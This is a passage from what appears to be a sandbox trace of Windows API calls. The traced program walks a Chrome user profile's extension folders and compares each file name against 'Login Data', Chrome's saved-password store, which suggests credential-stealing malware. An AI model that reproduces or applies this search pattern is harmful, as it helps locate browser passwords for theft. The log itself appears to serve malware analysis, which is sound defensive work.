(lpFirst="computed_hashes.json", lpSrch="Login Data") returned 0x0 [0079.325] StrStrIA (lpFirst="verified_contents.json", lpSrch="Login Data") returned 0x0 [0079.325] FindClose (in: hFindFile=0x6428e8 | out: hFindFile=0x6428e8) returned 1 [0079.325] LocalFree (hMem=0x6522a8) returned 0x0 [0079.325] LocalFree (hMem=0x650750) returned 0x0 [0079.325] FindClose (in: hFindFile=0x6428a8 | out: hFindFile=0x6428a8) returned 1 [0079.325] LocalFree (hMem=0x650550) returned 0x0 [0079.325] LocalFree (hMem=0x650450) returned 0x0 [0079.325] FindClose (in: hFindFile=0x642868 | out: hFindFile=0x642868) returned 1 [0079.325] LocalFree (hMem=0x65e540) returned 0x0 [0079.325] LocalFree (hMem=0x65e638) returned 0x0 [0079.325] LocalAlloc (uFlags=0x40, uBytes=0xcb) returned 0x663bc8 [0079.326] lstrcpyA (in: lpString1=0x663bc8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions" [0079.326] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\" [0079.326] LocalAlloc (uFlags=0x40, uBytes=0xeb) returned 0x65e638 [0079.326] lstrcpyA (in: lpString1=0x65e638, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\" [0079.326] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\", lpString2="apdfllckaahabafndbhieahigkjlhalf" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf" [0079.326] LocalFree (hMem=0x663bc8) returned 0x0 [0079.326] LocalAlloc (uFlags=0x40, uBytes=0xef) returned 0x65e540 [0079.326] lstrcpyA (in: lpString1=0x65e540, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf" [0079.326] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\*.*" [0079.326] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\*.*", lpFindFileData=0x12f7b2 | out: lpFindFileData=0x12f7b2) returned 0x642868 [0079.326] LocalAlloc (uFlags=0x40, uBytes=0xec) returned 0x65e828 [0079.326] lstrcpyA (in: lpString1=0x65e828, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf" [0079.326] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\" [0079.326] LocalAlloc (uFlags=0x40, uBytes=0xf2) returned 0x650450 [0079.326] lstrcpyA (in: lpString1=0x650450, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\" [0079.326] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\", lpString2="14.1_0" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0" [0079.326] LocalFree (hMem=0x65e828) returned 0x0 [0079.326] LocalAlloc (uFlags=0x40, uBytes=0xf6) returned 0x650550 [0079.326] lstrcpyA (in: lpString1=0x650550, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0" [0079.326] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\*.*" [0079.326] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\*.*", lpFindFileData=0x12f646 | out: lpFindFileData=0x12f646) returned 0x6428a8 [0079.326] StrStrIA (lpFirst="128.png", lpSrch="Login Data") returned 0x0 [0079.326] StrStrIA (lpFirst="manifest.json", lpSrch="Login Data") returned 0x0 [0079.326] LocalAlloc (uFlags=0x40, uBytes=0xf3) returned 0x650650 [0079.326] lstrcpyA (in: lpString1=0x650650, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0" [0079.326] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\" [0079.327] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x650750 [0079.327] lstrcpyA (in: lpString1=0x650750, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\" [0079.327] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\", lpString2="_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0079.327] LocalFree (hMem=0x650650) returned 0x0 [0079.327] LocalAlloc (uFlags=0x40, uBytes=0xff) returned 0x6522a8 [0079.327] lstrcpyA (in: lpString1=0x6522a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0079.327] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\*.*" [0079.327] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\*.*", lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 0x6428e8 [0079.328] LocalAlloc (uFlags=0x40, uBytes=0xfc) returned 0x6523b0 [0079.328] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0079.328] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.328] LocalAlloc (uFlags=0x40, uBytes=0xfe) returned 0x6524b8 [0079.328] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.328] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="ar" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar" [0079.328] LocalFree (hMem=0x6523b0) returned 0x0 [0079.328] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x6525c0 [0079.328] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar" [0079.328] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\*.*" [0079.328] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.328] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.328] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.328] LocalFree (hMem=0x6525c0) returned 0x0 [0079.328] LocalFree (hMem=0x6524b8) returned 0x0 [0079.328] LocalAlloc (uFlags=0x40, uBytes=0xfc) returned 0x6523b0 [0079.328] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0079.328] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.329] LocalAlloc (uFlags=0x40, uBytes=0xfe) returned 0x6524b8 [0079.329] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.329] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="bg" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg" [0079.329] LocalFree (hMem=0x6523b0) returned 0x0 [0079.329] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x6525c0 [0079.329] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg" [0079.329] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\*.*" [0079.329] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.329] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.329] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.329] LocalFree (hMem=0x6525c0) returned 0x0 [0079.329] LocalFree (hMem=0x6524b8) returned 0x0 [0079.329] LocalAlloc (uFlags=0x40, uBytes=0xfc) returned 0x6523b0 [0079.329] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0079.329] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.329] LocalAlloc (uFlags=0x40, uBytes=0xfe) returned 0x6524b8 [0079.329] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.329] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="ca" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca" [0079.329] LocalFree (hMem=0x6523b0) returned 0x0 [0079.329] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x6525c0 [0079.329] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca" [0079.329] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\*.*" [0079.329] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.330] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.330] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.330] LocalFree (hMem=0x6525c0) returned 0x0 [0079.330] LocalFree (hMem=0x6524b8) returned 0x0 [0079.330] LocalAlloc (uFlags=0x40, uBytes=0xfc) returned 0x6523b0 [0079.330] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0079.330] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.330] LocalAlloc (uFlags=0x40, uBytes=0xfe) returned 0x6524b8 [0079.330] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.330] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="cs" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs" [0079.330] LocalFree (hMem=0x6523b0) returned 0x0 [0079.330] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x6525c0 [0079.330] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs" [0079.330] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User 